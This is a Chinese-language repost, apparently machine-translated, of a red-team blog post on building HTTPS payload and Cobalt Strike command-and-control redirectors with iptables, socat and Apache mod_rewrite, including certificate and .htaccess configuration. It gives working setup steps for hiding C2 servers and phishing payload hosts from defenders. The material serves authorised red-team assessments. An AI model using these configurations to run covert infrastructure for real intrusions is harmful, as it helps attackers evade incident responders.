HTTPS Payload and C2 Redirectors

我已经写了很多关于使用重定向器以及如何加强红队评估的文章。自从我关于该主题的第一篇文章以来,我最常收到的问题是如何对HTTPS流量做同样的事情。在这篇文章中,我将详细介绍不同的HTTPS重定向方法以及何时使用它们。

我想对Joe Vest(@joevest)表示欢迎,他将HTTPS命令和控制(C2)重定向到他的cs2modrewrite工具中,并找出了一些这种重定向所需的Apache配置。

Dumb Pipe Redirection

重定向器可以最好地描述为适合两种类别之一:哑管或过滤。顾名思义,“哑管”重定向器一味地将流量从其网络接口转发到另一个配置的主机接口。这种类型的重定向器对于快速站立起来很有用,但本地缺乏对重定向传入流量的控制级别。因此,愚蠢的管道重定向会通过混淆C2服务器的真实IP地址来为您提供一些时间,但它不太可能严重妨碍防御者的调查。

由于以下两种方法不对流量执行任何条件过滤,因此它们可以互换用于有效载荷或C2重定向。

iptables

使用Linux防火墙工具iptables,我们可以将特定端口上的任何传入流量转换为给定端口上的远程主机IP。这让我们可以通过443(下面的第1行)获取任何TCP流量,并通过443(下面的第2行)将它重定向到我们的后端服务器。用您的后端服务器的IP地址替换,然后使用根权限运行以下命令:

iptables -I INPUT -p tcp -m tcp --dport 443 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

socat

socat是我们可以用来创建相同类型的流量重定向的替代工具。下面的一行代码将重定向来自端口443(最下面的443)的任何流量到端口443上提供的远程主机IP地址(最右边的443)。像以前一样,用您的后端服务器的IP地址替换。

默认情况下,socat在前台运行。虽然您可以在后台运行该进程,但我建议在屏幕会话中运行socat以便更轻松地进行动态重定向修改。

socat TCP4-LISTEN:443,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:443

如果您重定向大量流量(如C2),socat重定向器可能会开始遇到问题或重定向器主机速度缓慢。如果遇到这些问题,请尝试切换到iptables。

Apache mod_rewrite

虽然哑管重定向器对于快速重定向器站立很有用,但过滤重定向器提供了几乎无止境的方法来阻止防御者调查攻击基础结构。任何成熟的Web服务器技术都应该能够提供过滤重定向,但是这篇博文主要关注使用Apache及其mod_rewrite模块。

本节将重点介绍有效载荷和C2重定向,因为重定向器通常需要根据预期流量提供不同的功能。对于以下示例,我们将spoofdomain.com用作攻击者域并将Debian 9用于所有服务器。

首次设置

这种技术需要几次一次性设置步骤。以下步骤包括为基础架构生成和使用LetsEncrypt证书。如果您在其他地方获得了证书或选择使用自签名证书,请跳过这些步骤。

Apache和SSL设置

要为流量重定向设置Apache mod_rewrite,我们需要执行一些首次设置。有关初始设置的更多细节,请参阅我的第一个mod_rewrite文章的mod_rewrite Basics部分。

在您的重定向器上,使用root权限运行以下命令:

apt-get install apache2
a2enmod ssl rewrite proxy proxy_http
a2ensite default-ssl.conf
service apache2 restart

在Apache2配置文件中(/etc/apache2/apache2.conf默认情况下),找到您的站点目录的Directory标签并将None更改为All:

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

上面的命令将启用我们将要使用的多个Apache模块,并在站点上启用SSL,尽管使用了自签名证书。

用LetsEncrypt生成Cert

如果您已经有证书或希望使用自签名证书,则可以跳过本节中的步骤。

在Debian上生成我们的LetsEncrypt证书:

sudo service apache2 stop
sudo apt-get install certbot
sudo certbot certonly --standalone -d spoofdomain.com -d www.spoofdomain.com

修改certbot命令以包含任何其他需要使用附加-d标志保护的子域。请注意,上面我们指定了根域以及www子域。

如果没有生成问题,证书文件将被保存到/etc/letsencrypt/live/spoofdomain.com。

编辑SSL站点配置(/etc/apache2/sites-enabled/default-ssl.conf默认位于),以便SSLCertificateFile和SSLCertificateKeyFile选项的文件路径与LetsEncrypt证书组件的路径匹配:

SSLCertificateFile      /etc/letsencrypt/live/spoofdomain.com/cert.pem
SSLCertificateKeyFile   /etc/letsencrypt/live/spoofdomain.com/privkey.pem

另外,将以下代码添加到VirtualHost标记中的同一文件中:

# Enable SSL
SSLEngine On
# Enable Proxy
SSLProxyEngine On
# Trust Self-Signed Certificates generated by Cobalt Strike
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off

再次感谢Joe Vest为上述选项做好准备!

我们现在使用有效的LetsEncrypt证书进行基本的SSL安装。从这里开始,该帖子将演示如何提供您的借口所需的有效载荷文件或网页,以及如何重定向C2流量。

有效载荷重定向

在设计攻击基础架构时,我认为任何文件或有效负载将在社会工程或任何其他部分攻击路径中公用托管,以成为有效负载重定向的一部分。在我们的设置中,重定向器会将任何有效请求代理到相应的后端服务器,并将所有其他请求重定向到目标的真实404页面。这些文件可以使用HTTP或HTTPS托管; 最终用户将看到spoofdomain.com的有效SSL连接。

以下是我们的设置:

    SSL有效载荷重定向图

请注意,我们通过HTTP在后端托管文件。我们正在做这个演示和简单的设置。

一旦在主机上完成了我们的首次设置(见上文),我们将在文件中添加以下文本/var/www/html/.htaccess:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC]
RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteRule ^.*$ http://example.com/404? [L,R=302]

以下是规则正在执行的颜色代码细分:

Enable the rewrite engine
If the request's URI is either '/payload.exe' or '/landingpage.html' (with an optional trailing slash), ignoring case; 
Change the entire request to serve the original request path from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).
If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

注意上面的规则集,我们使用HTTP作为第一个RewriteRule,因为我们仅使用HTTP在后端服务器上托管payload.exe和landingpage.html文件。

以下是landingpage.html文件在受害者浏览器中的呈现方式:

    重定向到托管文件的SSL流量

请注意,尽管文件本身托管在另一台服务器上,但浏览器在URL栏中显示了spoofdomain.com。后端文件可以通过HTTPS或HTTP托管; 两者将在目标浏览器中按预期显示。

这些文件也可以托管在Cobalt Strike团队服务器上。Cobalt Strike版本3.10及以上版本支持通过SSL托管社交工程攻击和文件。为此,您需要从SSL证书创建密钥库,将密钥库上传到Cobalt Strike团队服务器,并在服务器的Malleable C2配置文件中指定密钥库。

制作Cobalt Strike的密钥存储:

openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypass
keytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com

将密钥库信息添加到Malleable C2配置文件中:

https-certificate {
    set keystore "spoofdomain.store";
    set password "mypass";
}

当团队服务器启动时,它将利用提供的密钥库并启用SSL文件托管。

命令和控制重定向

命令和控制重定向在很大程度上与有效载荷重定向类似,只不过htaccess文件只需要允许C2,托管文件和stager URI。

所有C2 URI都在set uri行的团队服务器的Malleable C2配置文件中指定。这些应该允许使用%{REQUEST_URI}mod_rewrite变量回到团队服务器。

Cobalt Strike可以通过HTTP或HTTPS提供托管文件。通过HTTPS托管文件需要额外的步骤来创建密钥库并修改Malleable C2配置文件; 但是,它将简化重定向器的htaccess文件规则集。如果您选择通过HTTP托管文件,请确保您的重定向器的htaccess规则代理HTTP,而不是HTTPS。

如果您计划在攻击路径中使用任何分阶段的有效载荷,则需要将Stager URI重定向回团队服务器。默认情况下,Cobalt Strike stager URI是一个随机的四个字符的字符串。我们可以通过一个正则表达式来实现,或者在Cobalt Strike 3.10和更新的版本中,在http-stager块的Malleable C2配置文件中指定一个stager URI 。

下面是重定向的静态文件的规则集payload.exe和landingpage.html通过HTTP团队服务器,重定向时的C2的URI /合法路径-1和/合法路径-2和分期URI /驿站通过HTTPS:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC]
RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/(legit-path-1|legit-path-2|stager)/?$ [NC]
RewriteRule ^.*$ https://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteRule ^.*$ http://example.com/404? [L,R=302]

以下是规则正在执行的颜色代码细分:

Enable the rewrite engine
If the request's URI is either '/payload.exe' or '/landingpage.html' (with an optional trailing slash), ignoring case; 
Change the entire request to serve the original request path over HTTP from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).
If the request's URI is '/legit-path-1', '/legit-path-2', or '/stager' (with an optional trailing slash), ignoring case; 
Change the entire request to serve the original request path over HTTPS from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).
If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

这显然是一个人为的例子,您需要使用Malleable C2配置文件进行设置,该配置文件提供了一些逃避优势,但上面的代码应该说明如何在HTTP和HTTPS之间混合使用内容。

有关Cobalt Strike C2重定向的更多信息,以及一些示例,请查看我的帖子Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite

许多重定向到一个后端服务器

SSL重定向器提供了使用不同SSL证书保护多个回调域的有趣功能。由于证书可以是完全唯一的,因此此设置可以降低事件响应方基于证书元数据识别C2域的风险。

以下是该设置的外观:

我们将每个重定向器设置为自己的分段,遵循上面各节中详述的步骤。设置中的关键区别是在Cobalt Strike侦听器设置期间在我们的回调弹出窗口中指定了两个域。以下是Cobalt Strike中的设置:

    设置HTTPS侦听程序以使用具有唯一证书的多个SSL域

注意,我们指定phishdomain.com作为主监听器的主机条目(用于分段)以及Beacons字段中的两个域(phishdomain.com和spoofdomain.com)。我们还建立了一个指向另一个域名的外部监听器,以便我们在需要时通过spoofdomain.com站点。通过此设置,信标将在选定的侦听器的主机字段上进行转场,随后对信标字段中指定的域循环检查。

强制HTTPS

在某些设置中,您可能需要通过HTTPS强制所有流量,而不是允许混合内容。在这种情况下,在htaccess规则集的RewriteEngine On行后添加以下几行:

RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^.*$ https://REDIRECTOR-DOMAIN.com%{REQUEST_URI} [L,R=301]

以下是规则正在执行的颜色代码细分:

Enable the rewrite engine
If the request's SSL status is NOT "on",
Change the entire request to serve the original request path from REDIRECTOR-DOMAIN.com over HTTPS, and change the user's address bar show the redirection. Make the redirect permanent with a 301 code.

上面的规则集从这里被AskApache.com采取并略微修改。%{HTTPS}如果请求使用SSL / TLS,变量将返回“on”,如果请求仅使用HTTP ,变量将返回“off”。

概要

重定向器是隐蔽攻击基础架构中的关键组件。它们被用来混淆后端基础架构,并且可以用来混淆或迷惑正在调查您的设置的事件响应者。重定向器流量应混合到网络上的预期流量。由于SSL / TLS的采用迅速增加,当您的重定向器需要使用有效证书运行SSL / TLS时,您可能会遇到实例。本文详细介绍了如何设置这些功能以及您可以使用启用了SSL的重定向器所做的一些强大的功能,例如通过HTTPS Cobalt Strike侦听器使用多个域。


转载请注明出处:https://www.freearoot.com/index.php/https-payload-and-c2-redirectors/

文章来源:https://posts.specterops.io/https-payload-and-c2-redirectors-ff8eb6f87742